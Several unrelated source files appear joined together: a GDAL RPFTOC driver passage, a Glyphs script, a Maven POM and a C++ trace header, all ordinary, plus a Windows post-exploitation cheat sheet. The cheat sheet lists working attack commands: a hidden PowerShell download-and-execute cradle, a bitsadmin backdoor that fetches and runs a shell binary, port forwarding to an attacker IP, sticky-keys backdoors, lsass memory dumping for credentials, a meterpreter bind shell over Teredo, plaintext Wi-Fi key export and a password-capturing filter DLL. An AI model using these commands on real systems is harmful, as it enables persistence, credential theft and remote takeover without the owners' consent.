        VSIFReadL(buffer, 1, 48, fp);
    }
    int isRGBA = CSLTestBoolean(CPLGetConfigOption("RPFTOC_FORCE_RGBA", "NO"));
    RPFToc* toc = (psFile) ? RPFTOCRead( pszFilename, psFile ) :
                              RPFTOCReadFromBuffer( pszFilename, fp, buffer);
    if (fp) VSIFCloseL(fp);
    fp = NULL;

    if (entryName != NULL)
    {
        if (toc)
        {
            int i;
            for(i=0;i<toc->nEntries;i++)
            {
                if (EQUAL(entryName, MakeTOCEntryName(&toc->entries[i])))
                {
                    GDALDataset* ds = RPFTOCSubDataset::CreateDataSetFromTocEntry(openInformationName, pszFilename, i,
                                                                                &toc->entries[i], isRGBA,
                                                                                (psFile) ? psFile->papszMetadata : NULL);

                    RPFTOCFree(toc);
                    return ds;
                }
            }
            CPLError( CE_Failure, CPLE_AppDefined,
                        "The entry %s does not exist in file %s.", entryName, pszFilename );
        }
        RPFTOCFree(toc);
        return NULL;
    }

    if (toc)
    {
        RPFTOCDataset* ds = new RPFTOCDataset();
        if (psFile)
            ds->SetMetadata( psFile->papszMetadata );

        int i;
        int ok = FALSE;
        char* projectionRef = NULL;
        double nwLong = 0, nwLat = 0, seLong = 0, seLat = 0;
        double adfGeoTransform[6];

        ds->papszFileList = CSLAddString(ds->papszFileList, pszFilename);

        for(i=0;i<toc->nEntries;i++)
        {
            if (!toc->entries[i].isOverviewOrLegend)
            {
                GDALDataset* tmpDS = RPFTOCSubDataset::CreateDataSetFromTocEntry(openInformationName, pszFilename, i,
                                                                                &toc->entries[i], isRGBA, NULL);
                if (tmpDS)
                {
                    char** papszSubDatasetFileList = tmpDS->GetFileList();
                    /* Yes, begin at 1, since the first is the a.toc */
                    ds->papszFileList = CSLInsertStrings(ds->papszFileList, -1, papszSubDatasetFileList + 1);
                    CSLDestroy(papszSubDatasetFileList);

                    tmpDS->GetGeoTransform(adfGeoTransform);
                    if (projectionRef == NULL)
                    {
                        ok = TRUE;
                        projectionRef = CPLStrdup(tmpDS->GetProjectionRef());
                        nwLong = adfGeoTransform[GEOTRSFRM_TOPLEFT_X];
                        nwLat = adfGeoTransform[GEOTRSFRM_TOPLEFT_Y];
                        seLong = nwLong + adfGeoTransform[GEOTRSFRM_WE_RES] * tmpDS->GetRasterXSize();
                        seLat = nwLat + adfGeoTransform[GEOTRSFRM_NS_RES] * tmpDS->GetRasterYSize();
                    }
                    else if (ok)
                    {
                        double _nwLong = adfGeoTransform[GEOTRSFRM_TOPLEFT_X];
                        double _nwLat = adfGeoTransform[GEOTRSFRM_TOPLEFT_Y];
                        double _seLong = _nwLong + adfGeoTransform[GEOTRSFRM_WE_RES] * tmpDS->GetRasterXSize();
                        double _seLat = _nwLat + adfGeoTransform[GEOTRSFRM_NS_RES] * tmpDS->GetRasterYSize();
                        if (! EQUAL(projectionRef, tmpDS->GetProjectionRef()) )
                            ok = FALSE;
                        if (_nwLong < nwLong)
                            nwLong = _nwLong;
                        if (_nwLat > nwLat)
                            nwLat = _nwLat;
                        if (_seLong > seLong)
                            seLong = _seLong;
                        if (_seLat < seLat)
                            seLat = _seLat;
                    }
                    delete tmpDS;
                    ds->AddSubDataset(pszFilename, &toc->entries[i]);
                }
            }
        }
        if (ok)
        {
            adfGeoTransform[GEOTRSFRM_TOPLEFT_X] = nwLong;
            adfGeoTransform[GEOTRSFRM_TOPLEFT_Y] = nwLat;
            ds->SetSize((int)(0.5 + (seLong - nwLong) / adfGeoTransform[GEOTRSFRM_WE_RES]),
                        (int)(0.5 + (seLat - nwLat) / adfGeoTransform[GEOTRSFRM_NS_RES]));
            ds->SetGeoTransform(adfGeoTransform);
            ds->SetProjection(projectionRef);
        }
        CPLFree(projectionRef);
        RPFTOCFree(toc);

/* -------------------------------------------------------------------- */
/*      Initialize any PAM information.                                 */
/* -------------------------------------------------------------------- */
        ds->SetDescription( pszFilename );
        ds->TryLoadXML();

        return ds;
    }
    else
    {
        return NULL;
    }
}

/************************************************************************/
/*                              Identify()                              */
/************************************************************************/

int RPFTOCDataset::Identify( GDALOpenInfo * poOpenInfo )

{
    const char *pszFilename = poOpenInfo->pszFilename;

/* -------------------------------------------------------------------- */
/*      Is this a sub-dataset selector? If so, it is obviously RPFTOC.        */
/* -------------------------------------------------------------------- */

    if( EQUALN(pszFilename, "NITF_TOC_ENTRY:",strlen("NITF_TOC_ENTRY:")))
        return TRUE;

/* -------------------------------------------------------------------- */
/*	First we check to see if the file has the expected header	*/
/*	bytes.								*/
/* -------------------------------------------------------------------- */
    if( poOpenInfo->nHeaderBytes < 48 )
        return FALSE;

    if ( IsNonNITFFileTOC( poOpenInfo, pszFilename) )
        return TRUE;

    if( !EQUALN((char *) poOpenInfo->pabyHeader,"NITF",4)
        && !EQUALN((char *) poOpenInfo->pabyHeader,"NSIF",4)
        && !EQUALN((char *) poOpenInfo->pabyHeader,"NITF",4) )
        return FALSE;

    int i;
    /* If it's a NITF A.TOC file, it must contain A.TOC in it's header */
    for(i=0;i<(int)poOpenInfo->nHeaderBytes-(int)strlen("A.TOC");i++)
    {
        if (EQUALN((const char*)poOpenInfo->pabyHeader + i, "A.TOC", strlen("A.TOC")))
            return TRUE;
    }

    return FALSE;
}

/************************************************************************/
/*                                Open()                                */
/************************************************************************/

GDALDataset *RPFTOCDataset::Open( GDALOpenInfo * poOpenInfo )

{
    const char *pszFilename = poOpenInfo->pszFilename;
    char* entryName = NULL;

    if( !Identify( poOpenInfo ) )
        return NULL;

    if( EQUALN(pszFilename, "NITF_TOC_ENTRY:",strlen("NITF_TOC_ENTRY:")))
    {
        pszFilename += strlen("NITF_TOC_ENTRY:");
        entryName = CPLStrdup(pszFilename);
        char* c = entryName;
        while( *c != '\0' && *c != ':' )
            c++;
        if( *c != ':' )
        {
            CPLFree(entryName);
            return NULL;
        }
        *c = 0;

        while( *pszFilename != '\0' && *pszFilename != ':' )
            pszFilename++;
        pszFilename++;
    }

    if (IsNonNITFFileTOC((entryName != NULL) ? NULL : poOpenInfo, pszFilename))
    {
        GDALDataset* poDS = OpenFileTOC(NULL, pszFilename, entryName, poOpenInfo->pszFilename);

        CPLFree(entryName);

        if (poDS && poOpenInfo->eAccess == GA_Update)
        {
            CPLError(CE_Failure, CPLE_NotSupported, "RPFTOC driver does not support update mode");
            delete poDS;
            return NULL;
        }

        return poDS;
    }

/* -------------------------------------------------------------------- */
/*      Open the file with library.                                     */
/* -------------------------------------------------------------------- */
    NITFFile *psFile;

    psFile = NITFOpen( pszFilename, FALSE );
    if( psFile == NULL )
    {
        CPLFree(entryName);
        return NULL;
    }

/* -------------------------------------------------------------------- */
/*      Check if it is a TOC file .                                     */
/* -------------------------------------------------------------------- */
    if (IsNITFFileTOC(psFile))
    {
        GDALDataset* poDS = OpenFileTOC(psFile, pszFilename, entryName, poOpenInfo->pszFilename);
        NITFClose( psFile );
        CPLFree(entryName);

        if (poDS && poOpenInfo->eAccess == GA_Update)
        {
            CPLError(CE_Failure, CPLE_NotSupported, "RPFTOC driver does not support update mode");
            delete poDS;
            return NULL;
        }

        return poDS;
    }
    else
    {
        CPLError( CE_Failure, CPLE_AppDefined,
                          "File %s is not a TOC file.", pszFilename );
        NITFClose( psFile );
        CPLFree(entryName);
        return NULL;
    }

}

/************************************************************************/
/*                          GDALRegister_RPFTOC()                         */
/************************************************************************/

void GDALRegister_RPFTOC()

{
    GDALDriver	*poDriver;

    if( GDALGetDriverByName( "RPFTOC" ) == NULL )
    {
        poDriver = new GDALDriver();

        poDriver->SetDescription( "RPFTOC" );
        poDriver->SetMetadataItem( GDAL_DCAP_RASTER, "YES" );
        poDriver->SetMetadataItem( GDAL_DMD_LONGNAME,
                                   "Raster Product Format TOC format" );

        poDriver->pfnIdentify = RPFTOCDataset::Identify;
        poDriver->pfnOpen = RPFTOCDataset::Open;

        poDriver->SetMetadataItem( GDAL_DMD_HELPTOPIC,
                                   "frmt_various.html#RPFTOC" );
        poDriver->SetMetadataItem( GDAL_DMD_EXTENSION, "toc" );
        poDriver->SetMetadataItem( GDAL_DCAP_VIRTUALIO, "YES" );
        poDriver->SetMetadataItem( GDAL_DMD_SUBDATASETS, "YES" );

        GetGDALDriverManager()->RegisterDriver( poDriver );
    }
}


text:
# Windows General Persistence Commands

Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.

### Firewall Exceptions
When you modify a system to talk on the network, you may need to alter the Windows firewall so your traffic is not filtered. The `netsh` command can be used to do this as the command to enable Remote Desktop Protocol below shows:

`netsh firewall set service type = remotedesktop mode = enable`

### Allow a program to listen through the firewall
Taken from http://synjunkie.blogspot.de/2008/03/basic-dos-foo.html

`netsh firewall add allowedprogram C:\nltest.exe mltest enable`

### Open a port on the firewall
Taken from http://synjunkie.blogspot.de/2008/03/basic-dos-foo.html

`netsh firewall add portopening tcp 2482 lt enable all`

### Tunnel Traffic Natively with Windows
`netsh int portproxy v4tov4 listenport=80 connecthost=[AttackerIP] connectport=80`

### Powershell Downloader
 * **Command with arguments**: `powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))"`
 * **Description**: According to [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), _"Schedule this and it will execute the shellcode on that page, pulling it each time (so you can change as needed)"_.

### bitsadmin Download/Exec
Make the backdoor:
```
bitsadmin /create backdoor
bitsadmin /addfile backdoor http://192.168.20.10/theshell.exe C:\windows\temp\theshell.exe
bitsadmin /SETMINRETRYDELAY 88000
bitsadmin /SETNOTIFYCMDLINE backdoor C:\windows\temp\theshell.exe NULL
```

Check the backdoor is set up correctly:
```
bitsadmin /getnotifycmdline backdoor
bitsadmin /listfiles backdoor
```

Run the backdoor:
```
bitsadmin /RESUME backdoor
```

### Remote Assistance Enable
 * **Command with arguments**: `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f`
 * **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system.

### Remote Desktop Enable - Method 1
 * **Command with arguments**: `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`
 * **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system.

### Remote Desktop Enable - Method 2
Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below.

 1. On the compromised system, create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.

     [Unicode]
         Unicode=yes
         [Version]
         signature="$CHICAGO$"
         Revision=1
         [Privilege Rights] [Privilege Rights]
         seremoteinteractivelogonright = hacked_account
         seinteractivelogonright = hacked_account
         sedenyinteractivelogonright =
         sedenyremoteinteractivelogonright =
         sedenynetworklogonright =

 1. Create another file named `enable_ts.reg` containing the contents below.

     Windows Registry Editor Version 5.00

     [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]

     "fDenyTSConnections"=dword:00000000

     "TSEnabled"=dword:00000001

     "TSUserEnabled"=dword:00000000

 1. On the remote system, execute the following commands:

```
c:\> sc config termservice start= auto sc config termservice start= auto

c:\> regedit /s enable_ts.reg

c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb

c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb

c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini

c:\> gpupdate /Force

c:\> net start "terminal services"
```

### Scheduler

The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. It usually runs at the SYSTEM account privilege level. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below.

c:\> net use \\[TargetIP]\ipc$ password /user:username

c:\> at \\[TargetIP] 12:00 pm command

An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe`

### Scheduling tasks to run under special conditions

One can schedule tasks to run under certain conditions such as when a user logs into the computer or when the computer is idle
with the schtasks command. This can be done by any user and includes the following additional conditions which can come in handy:

* ONIDLE -> Run a command once the system enters an idle state
* ONLOGON -> Run a command when a user logs into the system
* ONSTART -> Run a command when the system starts up

If you would like more information on the various command line options for this tool, Microsoft describes them in great
detail at: [https://technet.microsoft.com/en-us/library/cc725744.aspx#BKMK_create](https://technet.microsoft.com/en-us/library/cc725744.aspx#BKMK_create)

### Sticky Keys (Requires reboot)

Sticky keys on Windows systems are activated when the user presses the SHIFT key 5 times. Here, according to the [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), you replace the sethc.exe binary with your own binary (cmd.exe maybe?) and, when SHIFT is pressed 5 times, your binary is executed. Your binary will execute as SYSTEM and needs to replace the `%WINDIR%\System32\sethc.exe`.

Some caveats:

* If NLA (Network Layer Authentication) is enabled, this won't work

* If RDP (Remote Desktop Protocol) is disabled, this won't work

### Sticky Keys (No reboot)

This technique uses registry entries to switch the binary that the sticky keys executes. Its real advantage is that it does not require a reboot for the switch to take place.

* In the `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` make a key called `sethc.exe`

* Make a REG_SZ value called "Debugger" (Ensure it is capitalized)

* For the "Debugger" REG_SZ, make it have a value of your binary

* Press SHIFT 5 times and your binary should be executed

### Process Dumping For Passwords
If you have access to a server and one of the user's usernames and passwords and can create shares on that computer,
you may be able to create a scheduled task which runs procdump.exe to dump all of the memory of the lsass process,
thus gaining access to all of the stored credentials on the targeted computer:

```
net use \\target server /user:DOM\username password
copy procdump.exe \\targetserver\c$
copy procdump.bat \\targetserver\c$
procdump.exe -ma lsass creds.dump
at \\targetserver 13:37 C:\procdump.bat
copy \\targetserver\c$\targetserver.dmp .
```

### Teredo IPv6 Bindshell
Creating a teredo tunnel to allow a remote victim to tunnel IPv6 packets over IPv4 may allow you to evade some
filter detection systems and extract information from a victim without triggering alerts on the target network.

In order to do this one needs to use a teredo server which will convert IPv4 packets to IPv6 packets and vice versa.
Several publicly available servers are available including:

* teredo.trex.fi
* teredo.remlab.net
* teredo-debian.remlab.net
* teredo.ngix.ne.kr
* win8.ipv6.microsoft.com (This may be shaky on Windows 7, so don't rely on it)

To set up a tunnel, issue the following commands:

```
netsh interface ipv6 install
netsh interface ipv6 teredo enterpriseclient
netsh interface ipv6 teredo set client teredo.trex.fi
msfpayload windows/meterpreter/bind_ipv6_tcp LPORT=5555 X > bind.exe
```

All we have to do at this point is upload the resulting bind.exe payload to the victim, execute it, and then set up
metasploit to connect to the public IPv6 address that the victim was assigned on the specified port (5555 in this example), and we should now be able to get a meterpreter shell using teredo tunneling :)

Further details are available at [http://www.room362.com/blog/2010/09/24/revenge-of-the-bind-shell/](http://www.room362.com/blog/2010/09/24/revenge-of-the-bind-shell/)

### Export Local Wireless Passwords (In Plaintext)
```
netsh wlan export profile key=clear
```

### Capture Password Changes With Password Filters
To do this one simply needs to take the following steps:
* Create a password filtering DLL (see Didler Steven's example password filterer DLL at [http://blog.didierstevens.com/2010/11/15/password-auditing-with-a-password-filter/](http://blog.didierstevens.com/2010/11/15/password-auditing-with-a-password-filter/) if you want an example of some code you can modify to do this)
* Dump the resulting DLL into %WINDIR%\System32\
* Change HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages and add in the location of your DLL as it's value. If the key does not exist, create it first, then set the location as it's value DO NOT ADD IN THE .DLL EXTENSION. (Further details on this stage of the process are detailed at [https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766%28v=vs.85%29.aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766%28v=vs.85%29.aspx))
* Reboot the system and wait for passwords to be logged according to the actions defined within your DLL as people change them.
*
*

Details on how this works are included in Microsoft's documentation at [https://msdn.microsoft.com/en-us/library/windows/desktop/ms721882%28v=vs.85%29.aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms721882%28v=vs.85%29.aspx)

redpajama_set_name: RedPajamaGithub


text:
__doc__="""
In Font view, select glyphs with the same color(s) as the currently selected one(s).
"""

import GlyphsApp

def indexSetWithIndex( index ):
	indexSet = NSIndexSet.alloc().initWithIndex_( index )
	return indexSet

thisFont = Glyphs.font
thisDoc = Glyphs.currentDocument # frontmost document
fontView = thisDoc.windowController().tabBarControl().viewControllers()[0].glyphsArrayController()
displayedGlyphsInFontView = fontView.arrangedObjects() # all glyphs currently displayed
colorIndexes = []

if displayedGlyphsInFontView:
	displayedIndexRange = range(len(displayedGlyphsInFontView)) # indexes of glyphs in Font view
	for i in displayedIndexRange:
		if fontView.selectionIndexes().containsIndex_(i):
			thisGlyphColorIndex = displayedGlyphsInFontView[i].layers[thisFont.selectedFontMaster.id].colorIndex()
			if not thisGlyphColorIndex in colorIndexes:
				colorIndexes.append( thisGlyphColorIndex )
	if colorIndexes:
		for i in displayedIndexRange:
			if displayedGlyphsInFontView[i].layers[thisFont.selectedFontMaster.id].colorIndex() in colorIndexes:
				fontView.addSelectionIndexes_( indexSetWithIndex(i) )


text:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>com.taobao.zeus</groupId>
		<artifactId>zeus</artifactId>
		<version>1.0.0-SNAPSHOT</version>
	</parent>
	<artifactId>zeus-schedule</artifactId>
	<version>2.0.0-SNAPSHOT</version>
	<packaging>jar</packaging>
	<name>调度系统内核</name>
	<description>调度系统</description>
	<dependencies>
		<dependency>
			<groupId>com.taobao.zeus</groupId>
			<artifactId>zeus-client</artifactId>
			<version>2.0.1-SNAPSHOT</version>
		</dependency>
		<dependency>
			<groupId>commons-dbcp</groupId>
			<artifactId>commons-dbcp</artifactId>
			<version>1.4</version>
		</dependency>
		<dependency>
			<groupId>org.jboss.netty</groupId>
			<artifactId>netty</artifactId>
			<version>3.2.4.Final</version>
		</dependency>
		<dependency>
			<groupId>com.google.protobuf</groupId>
			<artifactId>protobuf-java</artifactId>
			<version>2.3.0</version>
		</dependency>
<!-- 		<dependency> -->
<!-- 			<groupId>org.apache.hadoop</groupId> -->
<!-- 			<artifactId>hadoop-common</artifactId> -->
<!-- 			<version>0.22.0</version> -->
<!-- 			<exclusions> -->
<!-- 				<exclusion> -->
<!-- 					<groupId>org.eclipse.jdt</groupId> -->
<!-- 					<artifactId>core</artifactId> -->
<!-- 				</exclusion> -->
<!-- 				<exclusion> -->
<!-- 					<groupId>org.eclipse.jdt.core.compiler</groupId> -->
<!-- 					<artifactId>ecj</artifactId> -->
<!-- 				</exclusion> -->
<!-- 			</exclusions> -->
<!-- 		</dependency> -->

<!-- yangfei -->
		<!-- <dependency>
			<groupId>org.apache.hadoop</groupId>
			<artifactId>hadoop-core</artifactId>
			<version>1.0.4</version>
			<exclusions>
				<exclusion>
					<groupId>org.eclipse.jdt</groupId>
					<artifactId>core</artifactId>
				</exclusion>
			</exclusions>
		</dependency> -->

		<dependency>
			<groupId>org.apache.hadoop</groupId>
			<artifactId>hadoop-common</artifactId>
			<version>2.2.0</version>
			<exclusions>
				<exclusion>
					<groupId>org.eclipse.jdt</groupId>
					<artifactId>core</artifactId>
				</exclusion>
			</exclusions>
		</dependency>

		<dependency>
			<groupId>org.apache.hadoop</groupId>
			<artifactId>hadoop-client</artifactId>
			<version>2.2.0</version>
		</dependency>

<!-- 		<dependency> -->
<!-- 			<groupId>org.apache.hadoop</groupId> -->
<!-- 			<artifactId>hadoop-hdfs</artifactId> -->
<!-- 			<version>1.0.4</version> -->
<!-- 		</dependency> -->
		<dependency>
			<groupId>org.apache.velocity</groupId>
			<artifactId>velocity</artifactId>
			<version>1.5</version>
		</dependency>
		<dependency>
			<groupId>org.apache.hive</groupId>
			<artifactId>hive-metastore</artifactId>
			<version>0.12.0</version>
		</dependency>
		<dependency>
			<groupId>org.apache.hive</groupId>
			<artifactId>hive-exec</artifactId>
			<version>0.12.0</version>
		</dependency>
		<dependency>
			<groupId>org.apache.hive</groupId>
			<artifactId>hive-common</artifactId>
			<version>0.12.0</version>
		</dependency>
		<dependency>
			<groupId>org.apache.thrift</groupId>
			<artifactId>libthrift</artifactId>
			<version>0.9.0</version>
		</dependency>
		<dependency>
		  <groupId>org.datanucleus</groupId>
		  <artifactId>datanucleus-rdbms</artifactId>
		  <version>3.2.1</version>
		</dependency>
		<!-- <dependency>
		  <groupId>org.datanucleus</groupId>
		  <artifactId>datanucleus-enhancer</artifactId>
		  <version>3.2.1</version>
		</dependency> -->

		<dependency>
			<groupId>org.datanucleus</groupId>
			<artifactId>datanucleus-api-jdo</artifactId>
			<version>3.2.1</version>
		</dependency>

		<dependency>
		  <groupId>org.datanucleus</groupId>
		  <artifactId>datanucleus-core</artifactId>
		  <version>3.2.2</version>
		</dependency>
		<!-- <dependency>
		  <groupId>org.datanucleus</groupId>
		  <artifactId>datanucleus-connectionpool</artifactId>
		  <version>3.2.1</version>
		</dependency> -->
		<dependency>
		  <groupId>javax.jdo</groupId>
		  <artifactId>jdo2-api</artifactId>
		  <version>2.3-eb</version>
		</dependency>

		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-beanutils</groupId>
			<artifactId>commons-beanutils</artifactId>
			<version>1.8.0</version>
		</dependency>
		<dependency>
			<groupId>mysql</groupId>
			<artifactId>mysql-connector-java</artifactId>
			<version>5.1.10</version>
		</dependency>
		<!-- -->
		<dependency>
			<groupId>net.sf.json-lib</groupId>
			<artifactId>json-lib</artifactId>
			<version>2.2</version>
			<classifier>jdk15</classifier>
		</dependency>

		<dependency>
			<groupId>net.sf.ezmorph</groupId>
			<artifactId>ezmorph</artifactId>
			<version>1.0.6</version>
		</dependency>
		<dependency>
			<groupId>org.hibernate</groupId>
			<artifactId>hibernate</artifactId>
			<version>3.2.7.ga</version>
			<exclusions>
				<exclusion>
					<groupId>cglib</groupId>
					<artifactId>cglib</artifactId>
				</exclusion>
			</exclusions>
		</dependency>
		<dependency>
			<groupId>org.hibernate</groupId>
			<artifactId>hibernate-annotations</artifactId>
			<version>3.4.0.GA</version>
			<exclusions>
				<exclusion>
					<groupId>org.slf4j</groupId>
					<artifactId>slf4j-api</artifactId>
				</exclusion>
			</exclusions>
		</dependency>
		<dependency>
			<groupId>org.hibernate</groupId>
			<artifactId>ejb3-persistence</artifactId>
			<version>1.0.2.GA</version>
		</dependency>
		<dependency>
			<groupId>org.jboss.javaee</groupId>
			<artifactId>jboss-transaction-api</artifactId>
			<version>1.0.1.GA</version>
		</dependency>
		<dependency>
			<groupId>org.apache.commons</groupId>
			<artifactId>commons-io</artifactId>
			<version>1.3.2</version>
			<type>jar</type>
		</dependency>
		<dependency>
			<groupId>joda-time</groupId>
			<artifactId>joda-time</artifactId>
		</dependency>
		<dependency>
			<groupId>commons-lang</groupId>
			<artifactId>commons-lang</artifactId>
			<version>2.4</version>
		</dependency>
		<dependency>
			<groupId>commons-fileupload</groupId>
			<artifactId>commons-fileupload</artifactId>
			<version>1.2.2</version>
			<type>jar</type>
		</dependency>
		<dependency>
			<groupId>quartz</groupId>
			<artifactId>quartz</artifactId>
		</dependency>
		<dependency>
			<groupId>net.sf.jopt-simple</groupId>
			<artifactId>jopt-simple</artifactId>
			<version>3.2</version>
			<type>jar</type>
			<scope>compile</scope>
		</dependency>
		<dependency>
			<groupId>commons-collections</groupId>
			<artifactId>commons-collections</artifactId>
			<version>3.1</version>
		</dependency>
		<dependency>
			<groupId>org.apache.zookeeper</groupId>
			<artifactId>zookeeper</artifactId>
			<version>3.3.6</version>
		</dependency>
		<dependency>
			<groupId>org.unitils</groupId>
			<artifactId>unitils-spring</artifactId>
			<version>3.3</version>
			<scope>test</scope>
			<exclusions>
				<exclusion>
					<groupId>org.slf4j</groupId>
					<artifactId>slf4j-nop</artifactId>
				</exclusion>
				<exclusion>
					<groupId>org.slf4j</groupId>
					<artifactId>slf4j-api</artifactId>
				</exclusion>
			</exclusions>
		</dependency>
		<dependency>
			<groupId>junit</groupId>
			<artifactId>junit</artifactId>
			<version>4.4</version>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>org.slf4j</groupId>
			<artifactId>jcl-over-slf4j</artifactId>
		</dependency>
		<dependency>
			<groupId>org.slf4j</groupId>
			<artifactId>slf4j-api</artifactId>
		</dependency>
		<dependency>
			<groupId>com.google.guava</groupId>
			<artifactId>guava</artifactId>
			<version>10.0.1</version>
			<type>jar</type>
			<scope>compile</scope>
		</dependency>
		<dependency>
			<groupId>commons-httpclient</groupId>
			<artifactId>commons-httpclient</artifactId>
			<version>3.1</version>
		</dependency>

		<!-- Javamail API -->
		<dependency>
			<groupId>javax.mail</groupId>
			<artifactId>mail</artifactId>
			<version>1.4.4</version>
		</dependency>

	</dependencies>
</project>


text:
#ifndef TRACE_MEMORYTRACEGENERATOR_H_INCLUDED
#define TRACE_MEMORYTRACEGENERATOR_H_INCLUDED

#include <vector>
#include <string>
#include <fstream>

#include <traceGenerator.h>
#include <kernelEntry.h>

#include <boost/serialization/split_member.hpp>

namespace boost
{
	namespace archive
	{
		class text_oarchive;
	}
}

namespace meta {

	class MemoryTraceGenerator: public TraceGenerator {
	public:
		class Header {
		public:
			Header();
			~Header();

		public:
			void access(ir::PTXInstruction::AddressSpace space,
				ir::PTXU64 bytes);
			void address(ir::PTXInstruction::AddressSpace space,
				ir::PTXU64 addr);

		public:
			TraceFormat format;

			ir::PTXU32 blockDimX, blockDimY, blockDimZ;

			ir::PTXU32 thread_count;

			ir::PTXU64 dynamic_instructions;

			ir::PTXU64 dynamic_operations; //! dynamic_instructions * avg_activity_factor

			ir::PTXU64 const_accesses;
			ir::PTXU64 global_accesses;
			ir::PTXU64 local_accesses;
			ir::PTXU64 param_accesses;
			ir::PTXU64 shared_accesses;
			ir::PTXU64 texture_accesses;

			ir::PTXU64 global_min_address;
			ir::PTXU64 global_max_address;

			ir::PTXU64 global_instructions;
			ir::PTXU64 texture_instructions;

			ir::PTXU64 shared_bytes;
			ir::PTXU64 global_bytes;
			ir::PTXU64 texture_bytes;

			ir::PTXU64 global_words;
			ir::PTXU64 texture_words;

			ir::PTXU64 global_segments;
			ir::PTXU64 halfwarps;

			ir::PTXU64 global_extent;

			bool headerOnly;
		};

		class Access {
		public:
			int threadID;
			ir::PTXU64 address;
			ir::PTXU32 size;
		};

		typedef std::vector<Access> AccessVector;

		class Event {
		private:
			friend class boost::serialization::access;

			template< class Archive > void save( Archive& ar,
				const unsigned int version ) const {
				/*
				std::string takenString;
				std::string fallthroughString;

				boost::to_string( taken, takenString );
				boost::to_string( fallthrough, fallthroughString );

				ar & pc;
				ar & counter;
				ar & takenString;
				ar & fallthroughString;
				*/
				ir::PTXU32 accessCount = (ir::PTXU32)accesses.size();

				ar & PC;
				ar & opcode;
				ar & addressSpace;
				ar & ctaX;
				ar & ctaY;
				ar & ctaZ;
				ar & accessCount;

				for (AccessVector::const_iterator it = accesses.begin();
					it != accesses.end(); ++it) {
					const trace::MemoryTraceGenerator::Access &acc = *it;
					ar & acc.threadID;
					ar & acc.address;
					ar & acc.size;
				}
			}

			template< class Archive >
			void load( Archive& ar, const unsigned int version ) {
				ir::PTXU32 accessCount = 0;

				ar & PC;
				ar & opcode;
				ar & addressSpace;
				ar & ctaX;
				ar & ctaY;
				ar & ctaZ;
				ar & accessCount;

				for (ir::PTXU32 n = 0; n < accessCount; n++) {
					MemoryTraceGenerator::Access acc;
					ar & acc.threadID;
					ar & acc.address;
					ar & acc.size;
					accesses.push_back(acc);
				}
			}
			BOOST_SERIALIZATION_SPLIT_MEMBER()

		public:
			Event( );
			~Event();

			ir::PTXU32 PC;
			ir::PTXInstruction::Opcode opcode;
			ir::PTXInstruction::AddressSpace addressSpace;
			ir::PTXU32 ctaX, ctaY, ctaZ;
			AccessVector accesses;

		};	// end Event

	private:

		/*! \brief Counter for creating unique file names. */
		static unsigned int _counter;

	public:
		/*! \brief Record the header only */
		bool headerOnly;

	public:

		/*!
			Constructs a trace generator with path './' recording *all* address spaces
		*/
		MemoryTraceGenerator();

		/*!
			Destructs the trace generator
		*/
		~MemoryTraceGenerator();

		/*!
			called when a traced kernel is launched to retrieve some
				parameters from the kernel
		*/
		void initialize(const executive::ExecutableKernel& kernel);

		/*!
			Called whenever an event takes place.

			Note, the const reference 'event' is only valid until event() returns
		*/
		void event(const TraceEvent & event);

		void finish();

	protected:
			/*!	\brief Pointer to the trace file being written to */
			std::ofstream* _file;

			/*!	\brief Pointer to the archive being saved to the file. */
			boost::archive::text_oarchive* _archive;

			/*!	\brief Entry for the current kernel */
			KernelEntry _entry;

			/*!	\brief Header for the current kernel */
			Header _header;

			/*!	\brief The current event */
			Event _event;
	};
}

namespace boost
{
	namespace serialization
	{
		template< class Archive >
		void serialize( Archive& ar,
			trace::MemoryTraceGenerator::Header& header,
			const unsigned int version )
		{
			ar & header.format;
			ar & header.blockDimX;
			ar & header.blockDimY;
			ar & header.blockDimZ;
			ar & header.thread_count;
			ar & header.dynamic_instructions;
			ar & header.dynamic_operations;
			ar & header.const_accesses;
			ar & header.global_accesses;
			ar & header.local_accesses;
